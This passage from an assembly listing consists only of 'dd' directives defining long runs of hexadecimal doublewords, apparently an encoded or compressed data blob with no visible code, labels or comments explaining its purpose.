		dd 0BB6394D3h, 7AA3CDh,	0FCDF3115h, 951B7F7Eh, 2001F8B0h
		dd 21291FAFh, 0DFDDF835h, 1DAA0474h, 80143FE8h,	0A31FA7F7h
		dd 1E037612h, 5942720Ah, 56283862h, 6330D730h, 66F202ABh
		dd 8C1F083Eh, 0E13FEC9Fh, 781203B0h, 89C71770h,	0FC57DAC0h
		dd 0E2ADCD00h, 7E5E5513h, 0E44C036Ah, 5429E925h, 0F8A12FD0h
		dd 1A83DB00h, 7A20E5EAh, 233033C3h, 0D4D0E0B0h,	7B209876h
		dd 0EDE800F3h, 2B29C71Ch, 0E9184879h, 0B1111E15h, 0ECB8A0E7h
		dd 7383007Ch, 8F215927h, 28E8241Ch, 0DE53F914h,	87207Ch
		dd 0FFA7F613h, 0D52169ABh, 5F973B00h, 1B184CF2h, 49731D0Ah
		dd 0AF64E6h, 0FF601F89h, 2A48D108h, 8A007527h, 0D9A1223Eh
		dd 1DE37FEh, 9DC94C6Eh,	0F199F64Bh, 9BE1D4D2h, 7DD6F51Eh
		dd 596CB783h, 50FAF0D4h, 512A0EAEh, 0B2C044AAh,	0E7799545h
		dd 1E7EA300h, 8011EE01h, 2640005Dh, 33DF602Eh, 93009BB2h
		dd 34B77C29h, 4C25976Ch, 0F5004EF2h, 0C6E3CF0Eh, 1400376Dh
		dd 1CB965FAh, 3C84EB6h,	17F1A98Dh, 0C54ACAh, 393B60FAh
		dd 0BE384F5Dh, 10832696h, 532F00B9h, 0D22A4E3h,	55E87Ch
		dd 4B85DB5Dh, 6054469Ah, 8FD49100h, 8884D77Ah, 38F066h
		dd 639D3EAAh, 0BB270C86h, 0D430B04h, 4090D407h,	62E856h
		dd 0F19444A1h, 9D092285h, 0CB64CE00h, 8DBDAB24h, 44A31E3Dh
		dd 43764E7Bh, 7020034Ah, 16432EA0h, 0DF00A7Fh, 80F02AF4h
		dd 0B3421003h, 47078721h, 1F949F5Bh, 24906E44h,	19599869h
		dd 0F98E301Bh, 5EB36061h, 0E976FC00h, 903F99CEh, 0DE810F43h
		dd 8073B9D7h, 0B5DBF2C8h, 0BC5EEA07h, 0F8E37FCAh, 308249Ah
		dd 2A3D8084h, 12BEFBEBh, 2D056C7Ch, 0DF33206Dh,	2068242Bh
		dd 0A9378024h, 12619585h, 27292F00h, 0A160569Ah, 0E3D90707h
		dd 0C0E83E9Bh, 89DB32D5h, 1ED07E60h, 0DFEC5455h, 0A1B73948h
		dd 91D90419h, 0E82D50E4h, 7906A4BCh, 35A3E3E0h,	0DA30C548h
		dd 0CA45F0Dh, 2768ECE1h, 0DB1040F1h, 5580F1A3h,	0F36A29F0h
		dd 42D381BCh, 18FF20CAh, 3B268871h, 0F1935909h,	0D635802Dh
		dd 60FEAAD4h, 18FB41E6h, 2304F043h, 6EF459F3h, 91053CD7h
		dd 0C84AD440h, 0B3BF87h, 40B1807Fh, 70A507E7h, 7BC02554h
		dd 3B26A174h, 7740605Eh, 9CC33ADh, 3FF4531Fh, 46F6C187h
		dd 0D40031EEh, 673233B6h, 0AF9B144h, 0E4C81EB0h, 0AEBE80C4h
		dd 558D0B89h, 0A800E0F2h, 680DB6D5h, 681A43Ah, 0EA07B77Ah
		dd 72078131h, 9269F046h, 0E8DFA8A1h, 0E48E8h, 8CB26CB8h
		dd 3035687Ah, 5730FFF4h, 0C9A4D881h, 0E62F0FB8h, 0EB40E931h
		dd 3771B02Eh, 0DCF92467h, 1E9EC130h, 0B9A700BEh, 361AA320h
		dd 241F05C8h, 981C89F4h, 303C950Ch, 0EC5E33E9h,	0EFBAB2E1h
		dd 6840D6C2h, 0BA49D7D1h, 0EAB88244h, 48CDC15Dh, 5C4C4423h
		dd 0EB29A680h, 0FF523F1Fh, 65B300D4h, 0D00470FCh, 54FB22BCh
		dd 12556316h, 458C9002h, 0CBCC4111h, 42045A18h,	1F97212Dh
		dd 0A3232632h, 77ACB04Eh, 65F296h, 0CA11B07Ch, 0F4F93322h
		dd 5B032C0Ch, 0FFD9E8h,	32619DE5h, 0A653F83Bh, 4235D700h
		dd 0E3F2CC91h, 50C6002Ah, 76280D9Dh, 6312C889h,	0C3053E5h
		dd 23C23267h, 7218E31Fh, 0B91621h, 87765033h, 0F0BA1BA3h
		dd 862E4804h, 0C4876422h, 0FCFE6300h, 0CC4E5C68h, 8C698850h
		dd 2F425C02h, 197AE721h, 0E41D102Bh, 0DBFD0026h, 0D4EC2D3Bh
		dd 0CCA0E68Eh, 0E2FB036Ch, 12C0806Bh, 600019C0h, 0DE7FFF08h
		dd 0E880A755h, 9521C3D8h, 73F019C8h, 7A0A6783h,	2029036Dh
		dd 0C519C140h, 2277460Bh, 699409A1h, 0C2007C20h, 399F3BDh
		dd 10023FB0h, 0B930AC32h, 0FB8449BAh, 0ACCCFC24h, 426102ECh
		dd 476F20B8h, 14107519h, 2B0959E9h, 80834E74h, 586E8C60h
		dd 0A13500C9h, 82F26804h, 5C066AC6h, 5E15E293h,	3F3C0010h
		dd 6B1FB9BBh, 0A0704ABEh, 3162E658h, 0A719205Fh, 1E73E8h
		dd 4B290435h, 9DE3AB88h, 0C681EA00h, 84992362h,	5F440059h
		dd 5DFF03F0h, 0C8003F1Ch, 0BCFCF938h, 6E8626Fh,	68EEE5FBh
		dd 21F38EDh, 0B85257h, 845C3C18h, 37D9FA72h, 9078453Fh
		dd 0F3B89C5Ah, 0F712DF2Eh, 0E986761Ch, 0E40F8DCh, 8344EF5Ch
		dd 1DEBC898h, 0A400B1DFh, 0C5224E41h, 20C76714h, 0E286C128h
		dd 11BF1Eh, 45CAD5A4h, 334340B9h, 1D088901h, 19C4210Eh
		dd 0AE1AA0D4h, 7A4854h,	0E0AAA7Fh, 0FABE0FE1h, 0EB21A526h
		dd 485E7030h, 0D48E3E39h, 40EB150Ch, 8F67E89h, 6745F01h
		dd 5EC1E16Eh, 8066B16Fh, 8310121h, 0EA9A42Eh, 7D19D3D5h
		dd 9AEA6B60h, 0A758DC9Dh, 616F784Fh, 0C8CC05F1h, 27B6DC20h
		dd 8D0A0C72h, 24105577h, 0D7EEC00Ch, 4CDE319Dh,	4133B2C7h
		dd 0DFF89A30h, 0D7792125h, 0ED94BB05h, 0A04EC583h, 58069290h
		dd 7105D48h, 5F9FBC66h,	0C661400Eh, 62745645h, 892180EDh
		dd 9AC49E5Bh, 7FE00734h, 0B12B0458h, 80420871h,	0C34699E1h
		dd 2AA97EB4h, 22D42337h, 2B014062h, 1E4C4964h, 4452FDA9h
		dd 9F8F3004h, 640E3A08h, 31D96660h, 9F86CC00h, 77B51F99h
		dd 0C43354B8h, 3B028C13h, 56759108h, 100D196Fh,	0F9357h
		dd 0AC5112B6h, 36E23296h, 0A750D60Ch, 2C69D2h, 0BC17103Fh
		dd 0AFDC29C3h, 96568903h, 0E8DD9120h, 1E6B7587h, 818DA0FDh
		dd 9B9DBC7Bh, 5E24C4CAh, 3108BC91h, 0BBC960E3h,	0E6E61E13h
		dd 97194486h, 81DFAD3Fh, 6B634CAAh, 5DF0C465h, 5CEF4009h
		dd 95945307h, 16D3F1CCh, 7151B858h, 0B2825075h,	0F4F45212h
		dd 297B57C7h, 67928804h, 0AF04D405h, 888C4719h,	2000F5F9h
		dd 3C00D415h, 6A1E466Ch, 0D7A9C4h, 0DCC71B71h, 0F4FDFA36h
		dd 3DF73Dh, 8151C2CCh, 6DB54Ch,	0F1269680h, 55E62D8Ch
		dd 0EF002CE8h, 5B1A4EB0h, 0BC97DD5h, 0A85ADF43h, 0C01099A4h
		dd 3CB71EB9h, 0B9075B00h, 8BABCEF6h, 6B4F28Ch, 283F362Bh
		dd 0E200B079h, 0DF308FD9h, 0B14C7h, 8FD60AFh, 5873E49Fh
		dd 5AE0E200h, 0C427CDADh, 92F20039h, 0E159810Bh, 67004A3Fh
		dd 0B01712EFh, 1C939Eh,	0A11F5AC9h, 3DA964ABh, 35341B1Fh
		dd 8FB58580h, 0CDA3F3h,	0FEC8C4F9h, 818BA1CCh, 59E85000h
		dd 196DC588h, 450D0052h, 3B8DBF99h, 0F002BFEh, 0F73C90D3h
		dd 1FB07E78h, 0DF63858Ch, 46200119h, 40E4E114h,	0D9531D80h
		dd 62800160h, 301A0E71h, 2B400B82h, 0BF00785Ah,	0C241CD1h
		dd 18766160h, 8052FBA1h, 6D00CF9Eh, 1C4158D5h, 115F82h
		dd 0ECA2B4D3h, 136CBCF5h, 452C9014h, 179F14F0h,	0C97F0A80h
		dd 0EC0C041h, 211ED6DEh, 9C913D67h, 36566E00h, 8A67AE2h
		dd 0C734FE00h, 0F5B7AA9Eh, 8D500011h, 5BA1A560h, 58074722h
		dd 8AEB8E82h, 1DAB2330h, 79520E8Fh, 0F4E7E9FDh,	92CF904Ah
		dd 28001956h, 265ECD35h, 8EF5983h, 151A60Fh, 0F660AEE1h
		dd 0C58E6100h, 13DD39h,	0DA8ADB94h, 0A06735D8h,	0EFBCBE0h
		dd 337A8365h, 3615CEA2h, 45810043h, 0D143D4F8h,	57F1E001h
		dd 0CDA21F95h, 0F920ACCDh, 0C01C5088h, 21D300E4h, 0BAD41644h
		dd 306077C9h, 0C8C545C1h
		dd 406100E0h, 59BC24E6h, 7D00D911h, 9E20EA98h, 90EB3A08h
		dd 0FA070040h, 8AB27105h, 0BB3B404Bh, 1104FE92h, 0F6E4CCFCh
		dd 866208Ch, 6552126Dh,	754056C4h, 69C578A3h, 0CB7E9C00h
		dd 9AFF5839h, 0A9810047h, 7624DDCAh, 50001916h,	37346D03h
		dd 7309C1h, 0BE9E0F96h,	8282FB1h, 0FFE3A100h, 20589CD6h
		dd 0C0AF1EBCh, 3E24433Bh, 400014AEh, 85978AA0h,	40F4F1h
		dd 0E4E8C33Ah, 0B39B0D66h, 107D3700h, 80714A25h, 0CDA40147h
		dd 0F5F60CD9h, 49A0246Bh, 6DC19202h, 66AA505Dh,	81FB02E8h
		dd 7E840E36h, 8810DC19h, 72059F92h, 6DEDF5C1h, 45F088h
		dd 0CAC35308h, 1AEBDE55h, 0CE29402h, 90AE5C91h,	881F530h
		dd 62540E38h, 640D364h,	92CE9F93h, 0F2E8D3Eh, 9D5DB9C8h
		dd 50C22144h, 64A978D2h, 0FBDE00FCh, 25DACA6Ch,	8D01439Dh
		dd 62B50B55h, 0E8C39F1Eh, 199C32Fh, 83FBEB80h, 0F7F4BBC6h
		dd 0C71607C0h, 0F25C8C0Eh, 7784C0F5h, 0B238FCBAh, 0C21F004Ch
		dd 0B09DDF75h, 0D700E06Dh, 0F18CF0B1h, 1332D0h,	2C742994h
		dd 0BA82B09Ch, 8FAF490Ah, 427120F2h, 5C6930FEh,	613866E9h
		dd 31E1C9Ch, 0B52A3866h, 0BA9C0080h, 71BD8DDFh,	200011A5h
		dd 375BB887h, 0E4587216h, 57BA0379h, 0EA42AFCCh, 0FAFAD8D9h
		dd 3A04B4CCh, 5E77F408h, 1E200B62h, 210832h, 0E2532A43h
		dd 275D0F1Ah, 6949B507h, 5041B09Eh, 9C40438Ch, 60E48A1Fh
		dd 0CFA3E0EBh, 18C25E18h, 0C2FA3F7Ch, 0BA7015A8h, 69855FA1h
		dd 0EFC1D78Bh, 242984A1h, 5D4F9E08h, 177A60Bh, 0F84C8C9Ch
		dd 9CD1E844h, 498045EEh, 57C3B56Ah, 520E8C8Fh, 0BD6D5644h
		dd 4CB0CA00h, 7B06E6CEh, 0E03909Eh, 3F16D723h, 0CDDFFA67h
		dd 50B4DDC0h, 0E2293088h, 7EF9748h, 8112F01Fh, 582EF8AAh
		dd 0DBB4215Eh, 3A4BD082h, 0ECA6320h, 0E351CBB9h, 3E7C1F90h
		dd 11EA0E0Dh, 4FA92040h, 0F171C19Eh, 4076B912h,	3D8547B8h
		dd 0E97B7300h, 1E833354h, 0CA7E0B97h, 4E003A43h, 0F0E4949Eh
		dd 0E6D71B15h, 60EFEC04h, 5777118Bh, 2100A6D5h,	0E86B527Dh
		dd 39CD27Ah, 4F13879Dh,	0BA807E1Eh, 0C07BDA9Bh,	52007B7Ch
		dd 0C67DF6B3h, 5095B616h, 0CE34CB8h, 0A5849DCEh, 3424A50h
		dd 1F764F0Eh, 0D704B4A0h, 0A7074445h, 0FA535590h, 7AF69FE0h
		dd 5EE23Bh, 0F13A1BD3h,	22470CCBh, 0E7CEE018h, 0F974AF60h
		dd 439C188h, 63DB0503h,	10590027h, 6FDFF8E9h, 3A480A6Dh
		dd 0D4B015CEh, 78081070h, 0AD8EC300h, 809A01F4h, 62B1643Eh
		dd 0EC459E8h, 0C7A4BC24h, 5E4800BFh, 0B53076F5h, 7439E99Bh
		dd 4CCF5693h, 0B7692Eh,	45371D0h, 0F25468F4h, 0C2142BB4h
		dd 8194E963h, 0F34FF8E0h, 34CFA980h, 534CB7ECh,	0E9489C14h
		dd 447AFF4h, 1EB001ABh,	0B763B52Ah, 6E0440D6h, 0E4C75157h
		dd 48635D8h, 2013F25Fh,	9C0480ADh, 92E8B2Fh, 3D0CAEC5h
		dd 447928C7h, 0A8447390h, 648C444Bh, 11F23245h,	0A0E70881h
		dd 883AF828h, 39888D41h, 0AD438832h, 0CCC50A01h, 26235779h
		dd 89D830h, 4A9DCF83h, 7452D03Fh, 1302D07h, 3BF784B5h
		dd 0B8EACD03h, 0FA7A03h, 0F562CAC5h, 7DC8329Ah,	727BBE01h
		dd 0A9BB2548h, 0B7F01BC9h, 17433AE4h, 45913C80h, 76465685h
		dd 0C6401E1Fh, 2BF91040h, 8BF1A7h, 0EC72FB61h, 231F998Ch
		dd 2274400h, 0D35D2FAh,	3BB500DAh, 0EC1E3980h, 9300C163h
		dd 7CA8D6Eh, 0EC51F6FDh, 0C254241Ch, 1F293C8h, 44D16B0Ah
		dd 2091E185h, 2C1D0593h, 7E401230h, 84A6E2C7h, 0A9670007h
		dd 9B0C6F60h, 2B009F6Bh, 68830189h, 4CC6211h, 0B2803A27h
		dd 86B491DCh, 0A5D88053h, 2CBB0AC8h, 9DAC00D2h,	1A5AB7B3h
		dd 0A67B8B42h, 4FA82B01h, 0B6AD4EF2h, 3E703BE9h, 37E454h
		dd 6E593582h, 33A8DF09h, 131FB300h, 0DE9A7129h,	4AD600F3h
		dd 0D459609Ch, 0B4000C5Ch, 51412B39h, 0E2500A42h, 867C01BDh
		dd 0DA6A3801h, 33730D2h, 0A725E900h, 0AD178216h, 67B70099h
		dd 18E40752h, 9300E07Bh, 71AA3809h, 39EBC9h, 0FEFFD2F9h
		dd 42166C91h, 807E2B3Ch, 0C99BF563h, 0E804F08h,	11143A25h
		dd 0C6B7D360h, 56016610h, 0FDCCD9F8h, 8C40C384h, 115DB6Bh
		dd 9EBD6AC1h, 0D8DD3CEDh, 0F2075229h, 0FF66A19Ah, 36E80BC0h
		dd 0A6300001h, 0D5BE6E4Fh, 0DD027E5Fh, 3D6BE692h, 2AD18047h
		dd 5439CEh, 4A24C775h, 5DA60DB2h, 5766D202h, 60BC2005h
		dd 1DDACCh, 799C5FF5h, 74F2085Eh, 0B7FC1700h, 0D7E114C8h
		dd 952C3E5Ch, 62032F87h, 290F0CBh, 0D3017F66h, 0AE6972A9h
		dd 0E4CD5B5Ch, 2663DCh,	0FBB4B717h, 0F458D387h,	0DD0036E0h
		dd 0B20B5EB9h, 0C02ED6h, 9D796FEEh, 1F5D5B86h, 50D8C404h
		dd 1200F11Bh, 0BDC135A7h, 42DAF24h, 0C649400h, 1C166F39h
		dd 82E157FAh, 8B0EDBB0h, 0B86DE0FFh, 66B00C8h, 0DD4A232h
		dd 5500339Ah, 87EBFFD0h, 3A7A19C1h, 9D83683Ah, 8830461Bh
		dd 32163EE8h, 0E7A0F500h, 0AD6EFB9Ah, 0CEDA0052h, 40AE5A0Eh
		dd 563829B3h, 0EEAB80D5h, 0DBC94A4h, 0E0DC0522h, 814F8068h
		dd 0FB672323h, 11078CD8h, 61484B01h, 6D3119C9h,	0D07BE0h
		dd 871829BDh, 52D5CF9h,	0F7A7CA0Eh, 0B2024E99h,	0B871E300h
		dd 0F0319C7h, 0D9CCBB83h, 2E008834h, 0BD434696h, 0D81CB8EAh
		dd 5B00551Eh, 859371Ah,	234F0039h, 3FE42AD5h, 0F000E3B6h
		dd 801207ECh, 1E01C8BAh, 4016DE8Ch, 9E904769h, 8FFCA8A3h
		dd 0BA3BF200h, 1B709387h, 6F681FEBh, 0B1834E1Eh, 7EF0A4CCh
		dd 3C5B6C00h, 6BE10384h, 0BE1E0014h, 16FBD122h,	0EF0035ABh
		dd 60B4D45Ah, 6798C8h, 0C4A81A5Fh, 193BEE12h, 41439E00h
		dd 306B3D9Fh, 0FC225C4Ah, 0BEB5D200h, 0C55C5E81h, 0C902FB01h
		dd 0E5ADE97Eh, 34846E0h, 9003F779h, 0CCA0C152h,	0CE0004B7h
		dd 0AA1C61C4h, 31A60BC8h, 6A21E23Dh, 0EFB0CCF2h, 0BBE05000h
		dd 1E408D26h, 0FB37B8Fh, 2DE71C4Ch, 9A774E81h, 0A9A8F083h
		dd 3BE0EA00h, 29F6268Bh, 0D1A00093h, 0CD38BBBEh, 5EEAA3ADh
		dd 71C4DB00h, 325CB2Fh,	0AB8F00EBh, 289279FBh, 9B00D6F5h
		dd 4840D201h, 72063F7h,	0A9B8BD42h, 0A85800F1h,	0EB003C4Dh
		dd 6766AE7Bh, 3A761D4Ah, 9DA64F9Bh, 14DE0088h, 5CACF953h
		dd 8F4E091Ch, 8549CF00h, 0FF22C3h, 48F3BFE9h, 0A0B0D3BBh
		dd 5C0320ECh, 0AC31DC70h, 0CE8DD83Fh, 0D91002CDh, 94EE8257h
		dd 9D8F0AAh, 0CC2016C9h, 0B1C1CF9Ch, 0FE0E34E0h, 209487D0h
		dd 668E0CEBh, 790F0F3Eh, 318085DEh, 89BEA7E3h, 15073Ah
		dd 0B402CAA6h, 42C0435h, 9B61DE7Ch, 0D6B98020h,	5BF2B83Ah
		dd 0EC2A4B00h, 0B11CE68Eh, 48027A47h, 0E81FE8FAh, 90FE4080h
		dd 0FC855566h, 65113B1Fh, 0A63DCB04h, 0FD8488h,	0E1E7DD0h
		dd 217F09BEh, 0EC592616h, 0C52EAD01h, 0B6E4803Dh, 0E3DC00CAh
		dd 0F72FA9B4h, 0FC031517h, 4D2454CDh, 8801E0A5h, 4F0403BFh
		dd 17FEA4D2h, 8BF96C90h, 0E0D8D700h, 2C9CE50Fh,	25BB00C6h
		dd 0A3F28C7Ch, 887D6D33h, 28A3100h, 75CAAB3Dh, 0E4830721h
		dd 602D8625h, 0B370F891h, 203EBD1Fh, 6DDBD541h,	460607Fh
		dd 0C7590054h, 1B7E3474h, 41E0CCBh, 0A6C01D0Bh,	3DC8E52h
		dd 0B69800A0h, 825B562Bh, 65DE9BFh, 15E50080h, 0FF6FCEF9h
		dd 9A87D91h, 0A7A920ABh, 0DCCB7480h, 693F1068h,	98930025h
		dd 0E437C84Bh, 7DD40729h, 26D3BDBBh, 0AD032068h, 3D6578BEh
		dd 4810006Fh, 898F2F49h
		dd 380D117Fh, 78D17D9Ah, 505D58E4h, 396D44Fh, 1E86D28Bh
		dd 4CE94E71h, 0C641806Dh, 3639F669h, 5FAB057Ah,	0C0F5427Ch
		dd 5E8A2434h, 9F440200h, 0C0A1D012h, 903F00DEh,	99E28432h
		dd 700B80Ch, 8C208E0Ah,	0AB5D1Bh, 0F9B6A50h, 8F85597Dh
		dd 0BB2ED400h, 729F5784h, 0A3D600CCh, 2FB89352h, 0C1B5EBBEh
		dd 6CF0AD4Ch, 0CDE60077h, 14C3D5D4h, 4A00E316h,	1C302191h
		dd 677C11h, 0A63893F1h,	7E64BBD4h, 5FC3F801h, 3BF77A4Fh
		dd 0CB2C60h, 605E1A09h,	0BAE6C285h, 0AC077E00h,	6C5F0F95h
		dd 0B663281Bh, 8AF0A2h,	9F11CCC9h, 86EF1358h, 87FCF807h
		dd 8A0E14Ah, 58F462Dh, 686BBC48h, 9DA0C007h, 0D9021705h
		dd 30AB617Bh, 0C1946011h, 0F6161673h, 0AD1000CDh, 751301AAh
		dd 5F812400h, 2FF8800Bh, 0D7090098h, 87F02D71h,	0DA14EA40h
		dd 3FEE175Dh, 0D9BC0974h, 0E5BCA3A7h, 0DE94F8F3h, 76EB00A2h
		dd 1CE4B279h, 15003D48h, 20B126FDh, 9D7A3Eh, 0CF6F040Eh
		dd 3F1EED1Fh, 9A94D800h, 9220141Ch, 4B4E01F3h, 0EE370B7Fh
		dd 347D3091h, 0ED7BF600h, 0A126F1DEh, 66D90008h, 0FD4DB71Ch
		dd 0A600BD32h, 0F0E59864h, 0EA353A0Bh, 3E9C030Ah, 8DEC588Fh
		dd 0F4D272E1h, 0DE7C86C1h, 974C2500h, 0AFC550BCh, 0F5F60Fh
		dd 0B1FD1E3Fh, 0C0248B46h, 7F331239h, 607E582Eh, 0CA6B4400h
		dd 0FBBA7C8h, 674E9248h, 9158AE00h, 4402C164h, 0CB0817A4h
		dd 97D8E0EBh, 0B3A10051h, 0F7DAFED5h, 7E00D189h, 0E97A8082h
		dd 3A6F157h, 282DEA87h,	0D3B81E67h, 8E00A72Ch, 0F5E465DBh
		dd 0E2D76CBDh, 0D62F3E0Dh, 14913A00h, 1E4DD399h, 82C72913h
		dd 0C6DFD701h, 13CDA45Bh, 3B109C28h, 0D34D842Bh, 5F21F03h
		dd 509308B0h, 4C4C4A70h, 0DC903D04h, 8C5A137Ch,	0D5C07C80h
		dd 0E7C63047h, 0A4B94E28h, 80E06B4Ch, 0E6B01D17h, 84365887h
		dd 0BEDD900h, 995074D2h, 654CCAA1h, 0C0DDC0CCh,	6080F003h
		dd 0AB7BCC49h, 3D1001C2h, 0F231715Eh, 0F119D47Ah, 0C7409E00h
		dd 0A4E1B986h, 7C1C09D1h, 88EF82Fh, 4B7F0220h, 1500310Ah
		dd 218C253Bh, 959B4Fh, 0F432226Ch, 0FAC49F0h, 0F2946B17h
		dd 0CE14BA00h, 0FD60E5Eh, 4CB850D0h, 6FE3F000h,	0E2000BE5h
		dd 6D8B1767h, 0DD37EDh,	54620F5h, 0AF73A5ECh, 0AA852A00h
		dd 0F99B4A86h, 5F4000FDh, 274E21A9h, 2C17EECCh,	3400DBA3h
		dd 0D51DBCB4h, 846A07FDh, 0F06ED315h, 0D9E44A95h, 5FD49300h
		dd 6C1ADAAEh, 0D8FD483Ah, 85F2C800h, 3398500Ch,	0D638A700h
		dd 2EC15DE2h, 0AA08005Ch, 5FB03778h, 0A3F049DFh, 1136420Eh
		dd 0AF1E20E2h, 1F8694F8h, 0DDE833h, 6A493F91h, 7700C963h
		dd 0F0939978h, 53C02Bh,	0EC50BF74h, 0DBA5AFE9h,	0CAD7F503h
		dd 0C979928Ah, 0FB60519Fh, 344F00D3h, 77EF2160h, 0AA00393Eh
		dd 3A2C9EC6h, 5F192h, 2D7A11B0h, 2882745Bh, 9EF61800h
		dd 80525875h, 7E7B053Ch, 0C33EFD94h, 38A8ED12h,	0D400A10Bh
		dd 7C0C24B8h, 46E0F4h, 0C9677107h, 0CBCF2991h, 864E9500h
		dd 9B600ADFh, 8D62054Ch, 0C0513744h, 159FE3A5h,	8099D03Eh
		dd 0D519D460h, 0D3E861h, 7CA16DAAh, 41F308E0h, 660C6300h
		dd 0C8B08099h, 0B3F81FCAh, 0C0DCDD10h, 845F6893h, 5000AEDh
		dd 0BBA9E8B1h, 25EFADEEh, 7080A01Dh, 8ED211DBh,	528D700h
		dd 94E52707h, 5C41003Ch, 96DC2119h, 0FA70EC70h,	0DF724200h
		dd 501C1BFDh, 6FD400ADh, 0D314EBBAh, 2B07DDBCh,	0C277DFF0h
		dd 9AE0DAC0h, 423738E7h, 2DBCD680h, 8B1D8F7Ch, 55E10F00h
		dd 0A179E038h, 6115094Dh, 0BC020886h, 0FDC0F2B5h, 0B1003FD6h
		dd 0A3F4145Bh, 4F57D89Eh, 51580907h, 37C3F410h,	0AD2AA400h
		dd 44BEAB38h, 50CB005Fh, 0EDA74A0h, 4503B03Ah, 0EC2825F6h
		dd 0E0F0ABAEh, 241254h,	0FCEBF702h, 3449D50Bh, 0A75E8001h
		dd 48CF04E6h, 6092EE20h, 51F0703Fh, 34921873h, 0EF94D400h
		dd 2CDC7E17h, 523C1E27h, 0E95449F9h, 0E1127880h, 0A602998Ch
		dd 0C491AF8Bh, 0DB36C0E8h, 0C9390287h, 0AE1490FFh, 405E4602h
		dd 603F75h, 4CF59422h, 8DBFCFD7h, 0F0036478h, 4193FE38h
		dd 8C339059h, 0E1655CD4h, 0A1847C00h, 0B64881ABh, 4911C500h
		dd 2D579AEFh, 186D003Dh, 0A669B1C1h, 0BC0F7656h, 41E7101Eh
		dd 533F3916h, 0D0A0A4F1h, 257AC0h, 0B2CC3240h, 0F0F37C1Eh
		dd 22185807h, 3D077EE5h, 791145A0h, 680E0A3Fh, 8C0514h
		dd 12C4C7A9h, 3E7ECE87h, 1D655900h, 6BDA7E3Dh, 6322C86h
		dd 739C30C4h, 0C300EE61h, 5C366C75h, 2E62F47h, 0AF62FF20h
		dd 88401F29h, 0B4B0BE01h, 7E107500h, 4A02AABh, 2BA400B8h
		dd 0A6E3DDD5h, 827355EBh, 0C3912D00h, 0FB399587h, 3A1F07BAh
		dd 2B6AC959h, 0B39AE683h, 0AF7D87E0h, 0BD6B6600h, 3D5EA4B7h
		dd 56350014h, 6EA6FE05h, 0A1FF773h, 39D884Dh, 35B75280h
		dd 92EB6BE3h, 9DE90138h, 0F4CFC927h, 11042072h,	237B4800h
		dd 697A774Dh, 8EE500B4h, 0CC2BF747h, 7960A7DFh,	0DBFDC898h
		dd 0E034B0Eh, 46196B0h,	3D61D289h, 8126009Ch, 95AF2ED0h
		dd 0BC7B161Ah, 0F8B501FEh, 0C1F19427h, 2A6B2055h, 0E30AE67h
		dd 0D5E0E630h, 0FA3E0064h, 6CDB15DAh, 794C7774h, 0A875001Bh
		dd 366987F5h, 0F13F494h, 72DCECB2h, 0AB498420h,	85003993h
		dd 19BDA6BEh, 767B1F6Bh, 0B5C5004Ch, 931377B6h,	0F5002789h
		dd 0F8FEF7AAh, 7352D0AFh, 2E88909Ch, 87C482E3h,	20662B44h
		dd 2E08D2A5h, 6F41881Fh, 482E851Eh, 0E1714C00h,	0E03467h
		dd 0CE13F593h, 0D9EC1941h, 3966DD1Eh, 12BC77C0h, 1B0944Dh
		dd 0CCCFA8EFh, 6F8067EDh, 0E7A2C900h, 0BA1DF4h,	0D3A1E604h
		dd 0F0BCC361h, 0A77FAE78h, 0C6521600h, 95556777h, 7B0E9090h
		dd 0D4EF00F2h, 305E3BE3h, 1A000DE7h, 0F5FA5256h, 7B727D24h
		dd 9D76034Ch, 13DEF483h, 270F1D90h, 4A04080Fh, 0CC9440A7h
		dd 0E8E6B5Dh, 2F1A2811h, 0FA7F8AC3h, 0D9CF1490h, 6FAF3600h
		dd 0A9E917F4h, 3BD80234h, 74CC5E78h, 6944F9C0h,	324B1600h
		dd 0FB23DA47h, 53F60767h, 0C12F8D21h, 0DC731B1Ch, 5201D97Bh
		dd 9C36FBCEh, 0C8717085h, 36DA2F0h, 15B784D5h, 13F13182h
		dd 857EC08Bh, 0AE6358h,	9DBE865Eh, 711F5E5h, 0ED934238h
		dd 0B8DFE13Dh, 2365602Dh, 0B27A122Ch, 7D15C300h, 190FBAh
		dd 0A093D0EDh, 116A17CDh, 0EA6E8D00h, 43F8A64Ah, 772B07CAh
		dd 0EEA1A39Dh, 9CBB7360h, 0F1008D0Dh, 83A953BFh, 19D040h
		dd 9BBD8C0Ah, 151C3ABEh, 730BE690h, 88D291h, 10C3EDB6h
		dd 676A0094h, 9E112095h, 0D1149222h, 0E105288h,	98676BFAh
		dd 0E643E98h, 4C305934h, 4AE8E581h, 0C4C1F318h,	3680FF31h
		dd 6800FD1Fh, 0EF88D3F7h, 0AF9371h, 9FAC2467h, 0F1D8EE07h
		dd 441958C0h, 5EAA65h, 7B0E703Bh, 63130740h, 78297F00h
		dd 0DD0BDFF9h, 713F3B5Ch, 77104881h, 0D96AD9F7h, 0C3908512h
		dd 281839EFh, 0C08B7C71h, 1E855FE8h, 10A0D7EEh,	1100FE74h
		dd 0B063790h, 589EF3h, 0D42176Bh, 149C9F94h, 0CA23A707h
		dd 0D26025B3h, 1435B0B6h, 0AC0D2A24h, 6413E200h, 0B75D0A1h
		dd 0EA83B3Eh, 20EB6F72h, 979B04EDh, 4BD90041h, 187DECD4h
		dd 3200390Ah, 0EE6C3B81h, 0C05898F4h, 0B8421DB4h, 2003DE19h
		dd 3C298715h, 0E1DB92CCh, 0B080C20Dh, 1F6175A3h, 0E70E2021h
		dd 2A05CFF2h, 0BEBBCC0Eh, 0B8B400F0h, 7553C4DCh, 0A53300E8h
		dd 8FA35983h, 0BC02B3F9h
		dd 12EDD630h, 7D98A10Eh, 61B80193h, 0E07C2514h,	0D217797Ch
		dd 0C03F1D59h, 125161F0h, 0FF1D446Bh, 0E1000D9Bh, 2921C722h
		dd 7E3B005Fh, 0E2EBF4C4h, 2303A69Fh, 4F30FEAFh,	41A8A003h
		dd 0DE841D15h, 58FB8335h, 0F4F02C8Eh, 1034AB5h,	5F6BD1FEh
		dd 9ECD902Ah, 9D3504EBh, 0BE8F6003h, 0CE92D780h, 91AC3FA8h
		dd 72D8868Ch, 7028EB20h, 0F400F0AEh, 37D90C7Eh,	0B55D88h
		dd 0C36444B9h, 4951539Fh, 470B77Ah, 9005879h, 3623F29Ah
		dd 63E8DA8h, 5F154E55h,	4E008E5h, 0AEE120C0h, 3AEBD4A9h
		dd 0EA005D44h, 3ED81805h, 697503A6h, 0EFF31E1Ch, 0F1DE8B9Dh
		dd 27FA0981h, 0E3DC4261h, 0E7081923h, 8B1F08D4h, 87E15A21h
